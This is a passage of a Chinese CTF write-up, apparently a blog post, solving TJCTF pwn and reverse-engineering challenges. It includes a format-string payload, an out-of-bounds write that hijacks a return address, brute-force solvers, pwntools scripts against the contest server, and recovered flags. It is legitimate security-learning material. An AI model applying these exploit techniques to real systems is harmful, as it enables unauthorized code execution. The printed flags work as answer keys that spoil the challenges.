    5. pay = fmtstr_payload(6,{0x403440 : 0x403448, 0x403448: 141191486-2}, write_size = "byte", numbwritten = 0)
    6. #gdb.attach(p, "b*0x4013ad\nc")
    7. p.sendlineafter(b"give me a string (or else): ", pay)
    8. p.recv()
    9. p.interactive()

    teenage-game

    一个游戏,用wasd先择上左下右l读入当前显示的字符。但走过之后会改为点。其实就是只能改1位,等下一轮转回来就又改回来了。

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char v3; // al
    4. int v5[2]; // [rsp+8h] [rbp-A98h] BYREF
    5. char v6[2704]; // [rsp+10h] [rbp-A90h] BYREF
    6. setup_terminal();
    7. setvbuf(stdout, stdout_buf, 0, 0x1000uLL);
    8. init_player(v5); // 初始值4行4列
    9. init_map((__int64)v6, v5);
    10. print_map((__int64)v6);
    11. signal(2, sigint_handler);
    12. while ( v5[0] != 29 || v5[1] != 89 )
    13. {
    14. v3 = getchar();
    15. move_player(v5, v3, (__int64)v6);
    16. print_map((__int64)v6);
    17. }
    18. puts("You win!");
    19. return 0;
    20. }
    21. int __fastcall move_player(int *op, char input_c, __int64 map)
    22. {
    23. __int64 v3; // rax
    24. if ( input_c == 'l' )
    25. {
    26. LODWORD(v3) = getchar();
    27. player_tile = v3;
    28. }
    29. else
    30. {
    31. *(_BYTE *)(map + 90LL * *op + op[1]) = 0x2E;
    32. switch ( input_c )
    33. {
    34. case 'w':
    35. --*op;
    36. break;
    37. case 's':
    38. ++*op;
    39. break;
    40. case 'a':
    41. --op[1];
    42. break;
    43. case 'd':
    44. ++op[1];
    45. break;
    46. }
    47. v3 = op[1];
    48. *(_BYTE *)(90LL * *op + map + v3) = player_tile;
    49. }
    50. return v3;
    51. }

    由于边界没有限制可以越界,当向上到0再往上走时就与move_player的返回地址重合了,算好偏移后把这里的尾字符改为后门(两个正好只关1字节),不能直着走过去,只能从下方调后,点上,就执行了。

    1. from pwn import *
    2. #p = process('./game')
    3. p = remote('tjc.tf', 31119)
    4. context(arch='amd64', log_level='debug')
    5. #gdb.attach(p)
    6. #pause()
    7. pay = b'w'*4 + b'd'*62 + b'l\xe7w'
    8. p.send(pay)
    9. #p.recvline()
    10. p.interactive()
    11. '''
    12. 0x00007ffc99076a00│+0x0000: 0x00007fbd287df040 → 0x00007fbd287e02e0 → 0x0000563b8b9c9000 → 0x00010102464c457f ← $rsp
    13. 0x00007ffc99076a08│+0x0008: 0x00007ffc99076a40 → "..................................................[...]"
    14. 0x00007ffc99076a10│+0x0010: 0x0000007700000000
    15. 0x00007ffc99076a18│+0x0018: 0x00007ffc99076a38 → 0x00000042ffffffff
    16. 0x00007ffc99076a20│+0x0020: 0x00007ffc990774d0 → 0x0000000000000001 ← $rbp
    17. 0x00007ffc99076a28│+0x0028: 0x0000563b8b9ca3df → endbr64
    18. 0x00007ffc99076a30│+0x0030: 0x0000000000000350
    19. 0x00007ffc99076a38│+0x0038: 0x00000042ffffffff ← $rdi
    20. '''

    REV

    wtmoo

    给了密文,对小写大写数字分别作相应处理。

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. int i; // [rsp+8h] [rbp-58h]
    4. int v5; // [rsp+Ch] [rbp-54h]
    5. char s[32]; // [rsp+10h] [rbp-50h] BYREF
    6. char dest[40]; // [rsp+30h] [rbp-30h] BYREF
    7. unsigned __int64 v8; // [rsp+58h] [rbp-8h]
    8. v8 = __readfsqword(0x28u);
    9. printf("Enter text: ");
    10. fgets(s, 32, _bss_start);
    11. s[strlen(s) - 1] = 0;
    12. strcpy(dest, s);
    13. v5 = strlen(s);
    14. for ( i = 0; i < v5; ++i )
    15. {
    16. if ( s[i] <= 96 || s[i] > 122 )
    17. {
    18. if ( s[i] <= 64 || s[i] > 90 )
    19. {
    20. if ( s[i] <= 47 || s[i] > 52 )
    21. {
    22. if ( s[i] <= 52 || s[i] > 57 )
    23. {
    24. if ( s[i] != 123 && s[i] != 125 )
    25. {
    26. puts("wtmoo is this guess???");
    27. printf("%c\n", (unsigned int)s[i]);
    28. return 1;
    29. }
    30. }
    31. else
    32. {
    33. s[i] -= 21;
    34. }
    35. }
    36. else
    37. {
    38. s[i] += 43;
    39. }
    40. }
    41. else
    42. {
    43. s[i] += 32;
    44. }
    45. }
    46. else
    47. {
    48. s[i] -= 60;
    49. }
    50. }
    51. if ( !strcmp(s, flag) )
    52. printf(cow, dest);
    53. else
    54. printf(cow, s);
    55. return 0;
    56. }

    没想到好办法逆回,采用直接爆破法

    1. c = b"8.'8*{;8m33[o[3[3[%\")#*\}"
    2. m = ''
    3. for i in range(len(c)):
    4. for k in range(0x20, 0x7f):
    5. j = k
    6. if j>=97 and j<=122:
    7. j-=60
    8. elif j>=65 and j<=90:
    9. j+=32
    10. elif j>=48 and j<=52:
    11. j+=43
    12. elif j>=53 and j<=57:
    13. j-=21
    14. elif j==123 or j==125:
    15. pass
    16. else:
    17. continue
    18. if j==c[i]:
    19. m += chr(k)
    20. print(m)
    21. break

    maybe

    这种题第一次见。把一个python代码去空格(python的软肋,特别特别软的软)顺序打乱。这回是真逆向。

    1. #first 3 lines are given
    2. import random
    3. seed = 1000
    4. random.seed(seed)
    5. #unscramble the rest
    6. def recur(lst):
    7. l2[i] = (l[i]*5+(l2[i]+n)*l[i])%l[i]
    8. l2[i] += inp[i]
    9. flag = ""
    10. flag+=chr((l4[i]^l3[i]))
    11. return flag
    12. l.append(random.randint(6, 420))
    13. l3[0] = l2[0]%mod
    14. for i in range(1, n):
    15. def decrypt(inp):
    16. for i in range(n):
    17. assert(len(l)==n)
    18. return lst[0]
    19. l = []
    20. main()
    21. def main():
    22. l4 = [70, 123, 100, 53, 123, 58, 105, 109, 2, 108, 116, 21, 67, 69, 238, 47, 102, 110, 114, 84, 83, 68, 113, 72, 112, 54, 121, 104, 103, 41, 124]
    23. l3[i] = (l2[i]^((l[i]&l3[i-1]+(l3[i-1]*l[i])%mod)//2))%mod
    24. if(len(lst)==1):
    25. assert(lst[0]>0)
    26. for i in range(1, n):
    27. for i in range(n):
    28. return recur(lst[::2])/recur(lst[1::2])
    29. print("flag is:", decrypt(inp))
    30. l2[0] +=int(recur(l2[1:])*50)
    31. l2 = [0]*n
    32. flag_length = 31
    33. mod = 256
    34. print(l2)
    35. n = len(inp)
    36. inp = [1]*flag_length
    37. l3 =[0]*n

    不过有些东西还是容易看的,函数定义啥的都各开一断,然后一行行往里切。对了运行一下就行了。

    1. #first 3 lines are given
    2. import random
    3. seed = 1000
    4. random.seed(seed)
    5. #unscramble the rest
    6. def recur(lst):
    7. assert(lst[0]>0)
    8. if(len(lst)==1):
    9. return lst[0]
    10. return recur(lst[::2])/recur(lst[1::2])
    11. mod = 256
    12. flag_length = 31
    13. inp = [1]*flag_length
    14. n = len(inp)
    15. #1 init l
    16. l = [404, 225, 348, 395, 56, 207, 186, 38, 245, 90, 279, 229, 72, 119, 349, 129, 192, 353, 256, 109, 354, 347, 193, 122, 414, 240, 99, 26, 353, 389, 255]
    17. l2 = [0]*n
    18. l3 =[0]*n
    19. l4 = [70, 123, 100, 53, 123, 58, 105, 109, 2, 108, 116, 21, 67, 69, 238, 47, 102, 110, 114, 84, 83, 68, 113, 72, 112, 54, 121, 104, 103, 41, 124]
    20. for i in range(1, n):
    21. l2[i] = (l[i]*5+(l2[i]+n)*l[i])%l[i]
    22. l2[i] += inp[i]
    23. l2[0] +=int(recur(l2[1:])*50)
    24. print(l2)
    25. l3[0] = l2[0]%mod
    26. for i in range(1, n):
    27. l3[i] = (l2[i]^((l[i]&l3[i-1]+(l3[i-1]*l[i])%mod)//2))%mod
    28. def decrypt(inp):
    29. flag = ""
    30. for i in range(n):
    31. flag+=chr((l4[i]^l3[i]))
    32. return flag
    33. def main():
    34. print("flag is:", decrypt(inp))
    35. main()

    maybe

    这个加密比较简单,用已经部分异或

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. int i; // [rsp+Ch] [rbp-64h]
    4. char s[72]; // [rsp+10h] [rbp-60h] BYREF
    5. unsigned __int64 v6; // [rsp+58h] [rbp-18h]
    6. v6 = __readfsqword(0x28u);
    7. puts("Enter your flag");
    8. fgets(s, 64, _bss_start);
    9. if ( strlen(s) == 33 )
    10. {
    11. for ( i = 4; i < strlen(s) - 1; ++i )
    12. {
    13. if ( ((unsigned __int8)s[i - 4] ^ (unsigned __int8)s[i]) != flag[i - 4] )
    14. {
    15. puts("you're def wrong smh");
    16. return 1;
    17. }
    18. }
    19. puts("you might be right??? you might be wrong.... who knows?");
    20. return 0;
    21. }
    22. else
    23. {
    24. puts("bad");
    25. return 1;
    26. }
    27. }

    由于flag壳是已知的,直接计算即可

    1. flag = bytes.fromhex('121100150b483c120c44001051192e16031c42110a4a72560d7a744f00')
    2. m = list(b'tjct')
    3. for i in range(len(flag)):
    4. m.append(m[i]^flag[i])
    5. bytes(m)
    6. #tjctf{cam3_saw_c0nqu3r3d98A24B5}

    div3rev

    明文分3份分别加密(3份再分3份直到每个只有1个字符)

    1. def op1(b):
    2. for i in range(len(b)):
    3. b[i] += 8*(((b[i] % 10)*b[i]+75) & 1)
    4. cur = 1
    5. for j in range(420):
    6. cur *= (b[i]+j) % 420
    7. return b
    8. def op2(b):
    9. for i in range(len(b)):
    10. for j in range(100):
    11. b[i] = b[i] ^ 69
    12. b[i] += 12
    13. return b
    14. def op3(b):
    15. for i in range(len(b)):
    16. b[i] = ((b[i] % 2) << 7)+(b[i]//2)
    17. return b
    18. def recur(b):
    19. if len(b) == 1:
    20. return b
    21. assert len(b) % 3 == 0
    22. a = len(b)
    23. return op1(recur(b[0:a//3]))+op2(recur(b[a//3:2*a//3]))+op3(recur(b[2*a//3:]))
    24. flag = open("flag.txt", "r").read()
    25. flag = flag[:-1]
    26. b = bytearray()
    27. b.extend(map(ord, flag))
    28. res = recur(b)
    29. if res == b'\x8c\x86\xb1\x90\x86\xc9=\xbe\x9b\x80\x87\xca\x86\x8dKJ\xc4e?\xbc\xdbC\xbe!Y \xaf':
    30. print("correct")
    31. else:
    32. print("oopsies")

    直接逆很麻烦,因为27个字符的顺序处理正好相反,采用爆破法,每个字符的对应位置和加密算法是不变的。可以爆破

    1. enc = list(b'\x8c\x86\xb1\x90\x86\xc9=\xbe\x9b\x80\x87\xca\x86\x8dKJ\xc4e?\xbc\xdbC\xbe!Y \xaf')
    2. flag = [0]*27
    3. for i in range(27):
    4. for j in range(0x20,0x7f):
    5. flag[i] = j
    6. v = recur(flag)
    7. if v[i] == enc[i]:
    8. break
    9. print(bytes(flag))
    10. #tjctf{randomfifteenmorelet}

    dream

    回答好些问题,然后输入两个数,一看是z3实际上不是

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. int v4; // [rsp+0h] [rbp-230h]
    4. int i; // [rsp+4h] [rbp-22Ch]
    5. unsigned __int64 v6; // [rsp+8h] [rbp-228h]
    6. unsigned __int64 v7; // [rsp+10h] [rbp-220h]
    7. FILE *stream; // [rsp+18h] [rbp-218h]
    8. char s2[256]; // [rsp+20h] [rbp-210h] BYREF
    9. char s[264]; // [rsp+120h] [rbp-110h] BYREF
    10. unsigned __int64 v11; // [rsp+228h] [rbp-8h]
    11. v11 = __readfsqword(0x28u);
    12. setbuf(stdout, 0LL);
    13. type_text("last night, I had a dream...\ntaylor sw1ft, the dollar store version, appeared!\n");
    14. prompt((__int64)"what should I do? ", s2, 256);
    15. if ( strcmp("sing", s2) )
    16. {
    17. puts("no, no, that's a bad idea.");
    18. exit(0);
    19. }
    20. prompt((__int64)"that's a great idea!\nI started to sing the following lyrics: ", s2, 256);
    21. if ( strcmp("maybe I asked for too [many challenges to be written]", s2) )
    22. {
    23. puts("no, that's a dumb lyric.");
    24. exit(0);
    25. }
    26. type_text("ok... that's a weird lyric but whatever\n");
    27. prompt((__int64)"that leads me to ask... how many challenges did you ask for??? ", s2, 256);
    28. v6 = atol(s2);
    29. if ( 35 * (((3 * v6) ^ 0xB6D8) % 0x521) % 0x5EB != 1370 )// 3840432396
    30. {
    31. type_text("that's a stupid number.\n");
    32. exit(0);
    33. }
    34. prompt((__int64)"ok yeah you're asking too much of everyone; try to lower the number??? ", s2, 256);
    35. v7 = atol(s2);
    36. if ( (35 * ((5 * v7 % 0x1E61) | 0x457) - 5) % 0x3E8 != 80 )// 1625900223
    37. {
    38. type_text("yeah.");
    39. exit(0);
    40. }
    41. if ( v6 % v7 != 20202020 || v7 * v6 != 0x33D5D816326AADLL )
    42. {
    43. type_text("ok but they might think that's too much comparatively, duh.\n");
    44. exit(0);
    45. }
    46. type_text("that's a lot more reasonable - good on you!\n");
    47. usleep(0x124F8u);
    48. type_text("ok, now that we've got that out of the way, back to the story...\n");
    49. type_text("taylor was like, \"wow, you're so cool!\", and I said, \"no, you're so cool!\"\n");
    50. type_text("after that, we kinda just sat in silence for a little bit. I could kinda tell I was losing her attention, so ");
    51. v4 = 0;
    52. for ( i = 0; i <= 11; ++i )
    53. {
    54. prompt((__int64)"what should I do next? ", s2, 256);
    55. if ( !strcmp("ask her about some flags", s2) )
    56. {
    57. ++v4;
    58. }
    59. else if ( !strcmp("ask her about her new album", s2) )
    60. {
    61. v4 *= v4;
    62. }
    63. else
    64. {
    65. if ( strcmp("ask her about her tour", s2) )
    66. {
    67. type_text("no, that's weird\n");
    68. exit(0);
    69. }
    70. v4 += 22;
    71. }
    72. }
    73. if ( v4 != 2351 )
    74. {
    75. type_text("taylor died of boredom\n");
    76. exit(0);
    77. }
    78. type_text("taylor got sick and tired of me asking her about various topics, so she finally responded: ");
    79. stream = fopen("flag.txt", "r");
    80. if ( !stream )
    81. {
    82. type_text("no flag );
    83. exit(0);
    84. }
    85. fgets(s, 256, stream);
    86. type_text(s);
    87. return 0;
    88. }

    显然64位的数这种运算z3干不了。

    关键是最后的乘法检查,所以先将积分解,爆破因子组合出两个数。

    1. aa = 0x33D5D816326AAD
    2. fac = [3,3,29,37,409,11071,333667]
    3. for i in range(5):
    4. for j in range(i+1,6):
    5. for k in range(j+1,7):
    6. v6 = fac[i]*fac[j]*fac[k]
    7. v7 = aa//v6
    8. if v6%v7 == 20202020:
    9. print(v6,v7)
    10. v6,v7 =131313131, 111111111

    一检查就对,它没用溢出,如果用整型溢出就麻烦点

    后边是用12次运算凑数,(+1,+22,平方)手工整一个就行以根号为界两边就几步。

    1. from pwn import *
    2. p = remote('tjc.tf', 31500)
    3. context.log_level = 'debug'
    4. v6,v7 = 131313131, 111111111
    5. p.sendlineafter(b"what should I do? ", b"sing")
    6. p.sendlineafter(b"that's a great idea!\nI started to sing the following lyrics: " ,b"maybe I asked for too [many challenges to be written]")
    7. p.sendlineafter(b"that leads me to ask... how many challenges did you ask for??? ", str(v6).encode())
    8. p.sendlineafter(b"ok yeah you're asking too much of everyone; try to lower the number??? ", str(v7).encode())
    9. # (1+1+1+1+22+22)**2 +22 +22 +1 +1 +1
    10. a = [1,1,1,1,3,3,2,3,3,1,1,1]
    11. # ^48**2
    12. for i in a:
    13. if i==1:
    14. p.sendlineafter(b"what should I do next? ", b"ask her about some flags") #++
    15. elif i==2:
    16. p.sendlineafter(b"what should I do next? ", b"ask her about her new album") #**2
    17. else:
    18. p.sendlineafter(b"what should I do next? ", b"ask her about her tour") #+22
    19. p.recvline()
    20. p.interactive()
    21. # tjctf{5h3_ju5t_w4nt5_t0_st4y_1n_th4t_l4vend3r_h4z3_3a17362a}

    save-trees

    这个费了一下午的时间睡觉,醒来沉住气,慢慢写。

    1. #!/usr/local/bin/python3.10 -u
    2. import ast
    3. import sys
    4. import select
    5. from Crypto.Util.number import bytes_to_long
    6. import hashlib
    7. import random
    8. def set_globals():
    9. global edge_lst, cnt, threshold, vals, key, lvs
    10. edge_lst = []
    11. cnt, threshold = 0, 128
    12. vals = [0 for _ in range(threshold*16)]
    13. randv = random.randint((1 << 15), (1 << 16))
    14. print("Rand:",hex(randv))
    15. key = (bytes_to_long(bytes('save thr trees!!', 'utf-8'))
    16. << 16) + randv
    17. lvs = []
    18. with open('flag.txt', 'r') as f:
    19. flag = f.readline()
    20. def ear3mt3sdk(nd):
    21. global cnt, threshold, edge_lst, lvs, key
    22. if nd > threshold:
    23. lvs.append(nd)
    24. return
    25. if nd > threshold // 2:
    26. if random.randint(1, 4) == 1:
    27. lvs.append(nd)
    28. return
    29. edge_lst.append((nd, cnt+1))
    30. edge_lst.append((nd, cnt+2))
    31. old_cnt = cnt
    32. vals[cnt+1] = (vals[nd] >> 16) ^ key
    33. vals[cnt+2] = (vals[nd] & ((1 << 16) - 1)) ^ key
    34. cnt += 2
    35. ear3mt3sdk(old_cnt+1)
    36. ear3mt3sdk(old_cnt+2)
    37. set_globals()
    38. hsh = int('0x10000000' + str(hashlib.sha256(flag.encode('utf-8')).hexdigest()), 16)
    39. print('hsh:', hex(hsh))
    40. vals[0] = hsh
    41. ear3mt3sdk(0)
    42. print('you have 5s to help treeelon musk save the trees!!')
    43. print(edge_lst)
    44. print([(nd, vals[nd]) for nd in lvs])
    45. def input_with_timeout(prompt, timeout):
    46. sys.stdout.write(prompt)
    47. sys.stdout.flush()
    48. ready, _, _ = select.select([sys.stdin], [], [], timeout)
    49. if ready:
    50. return sys.stdin.readline().rstrip('\n')
    51. raise Exception
    52. try:
    53. answer = input_with_timeout('', 5)
    54. except:
    55. print("\nyou let treeelon down :((")
    56. exit(0)
    57. try:
    58. answer = ast.literal_eval(answer)
    59. except:
    60. print("treeelon is very upset")
    61. exit(0)
    62. if hsh == answer:
    63. print('good job treeelon is proud of you <3<3')
    64. print(flag)
    65. else:
    66. print("treeelon is upset")

    按二叉树将hsh切开(右边2字节)分别与key异或后放入左右子树,然后输出树结构和一些随机节点的数据。

    这个就是要从后边向前恢复,由于key的后16位未知,又没有时间爆破,所以这里批一个特殊点。

    每次后16位会与key加密,而后16位又会是上一步的后16-32位,所以在一个点上,这里是key全部(两字节份)异或的结果,这个点在节点34。

    t_v[36][-2:] == xor(key_tail,b'\x10\x00', b'sa', b've',b' t', b'hr', b' t', b're', b'es', b'!!')
    key_tail = xor(t_v[36][-2:], b'KA')

    先第1次用尾号为0的key解一次密,然后找到34,得到完整的key,然后重新解密组合一次。

    1. '''
    2. Rand: 0xf6a2
    3. hsh: 0x10000000e42ee5f2da36700fdbde15a391bc8dd91c8ec0ac3222a60f0c8114d9dbd5220e
    4. '''
    5. from Crypto.Util.number import bytes_to_long,long_to_bytes
    6. from pwn import *
    7. p = remote('tjc.tf', 31519)
    8. context.log_level = 'debug'
    9. p.recvuntil(b'you have 5s to help treeelon musk save the trees!!\n')
    10. edge_lst = eval(p.recvline())
    11. vals = eval(p.recvline())
    12. key = (bytes_to_long(bytes('save thr trees!!', 'utf-8')) << 16) #+ 0xf6a2 #部分key
    13. n = 237
    14. t_id = [i for i in range(n)]
    15. t_left = [-1]*n
    16. t_right = [-1]*n
    17. t_v = [-1]*n #当前值
    18. for id,sub in edge_lst:
    19. if t_left[id] == -1:
    20. t_left[id] = sub
    21. elif t_right[id] == -1:
    22. t_right[id] = sub
    23. for id,v in vals:
    24. t_v[id] = v
    25. while True:
    26. for id in range(n):
    27. if t_v[id] == -1: #节点未填充
    28. if t_left[id] != -1 and t_right[id] != -1: #存在左右子树
    29. if t_v[t_left[id]] != -1 and t_v[t_right[id]]!= -1: #左右子树都有值
    30. t_v[id] = ((t_v[t_left[id]]^key)<<16) + (t_v[t_right[id]]^key) #填充当前树值
    31. if t_v[0] != -1:
    32. break
    33. for id,v in enumerate(t_v):
    34. if v != -1:
    35. print(id, long_to_bytes(v))
    36. '''
    37. t_v[36][-2:] == xor(key_tail,b'\x10\x00', b'sa', b've',b' t', b'hr', b' t', b're', b'es', b'!!')
    38. key_tail = xor(t_v[36][-2:], b'KA')
    39. '''
    40. print(long_to_bytes(t_v[36]))
    41. key_tail = xor(long_to_bytes(t_v[36])[-2:], b'KA')
    42. print('Key:', key_tail)
    43. #以正确的尾部重新解码
    44. key = key + bytes_to_long(key_tail)
    45. n = 237
    46. t_id = [i for i in range(n)]
    47. t_left = [-1]*n
    48. t_right = [-1]*n
    49. t_v = [-1]*n #当前值
    50. for id,sub in edge_lst:
    51. if t_left[id] == -1:
    52. t_left[id] = sub
    53. elif t_right[id] == -1:
    54. t_right[id] = sub
    55. for id,v in vals:
    56. t_v[id] = v
    57. while True:
    58. for id in range(n):
    59. if t_v[id] == -1: #节点未填充
    60. if t_left[id] != -1 and t_right[id] != -1: #存在左右子树
    61. if t_v[t_left[id]] != -1 and t_v[t_right[id]]!= -1: #左右子树都有值
    62. t_v[id] = ((t_v[t_left[id]]^key)<<16) + (t_v[t_right[id]]^key) #填充当前树值
    63. if t_v[0] != -1:
    64. break
    65. print(long_to_bytes(t_v[0]).hex())
    66. p.sendline(str(t_v[0]).encode())
    67. p.recvline()
    68. p.recvline()
    69. p.interactive()
    70. #tjctf{tR33s_g1v3_0xYg3ndx0x<3}

     

  • 相关阅读:
    计算机网络概述(接入网和物理媒体)
    creo草绘图形技巧-透视图
    Web前端—网页制作(以“学成在线”为例)
    redis底层都有哪些数据结构?带你了解redis是如何存储数据的
    从公司搭建的gitlab代码仓拉取代码失败问题
    使用 SAP UI5 绘制 Business Rule Control
    插片式远程 I/O模块:热电阻温度采集模块与PLC配置案例
    MybatisPlus 1 MybatisPlus 入门案例与简介 1.1 入门案例
    List-有序集合
    jQuery 选择器
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/130910547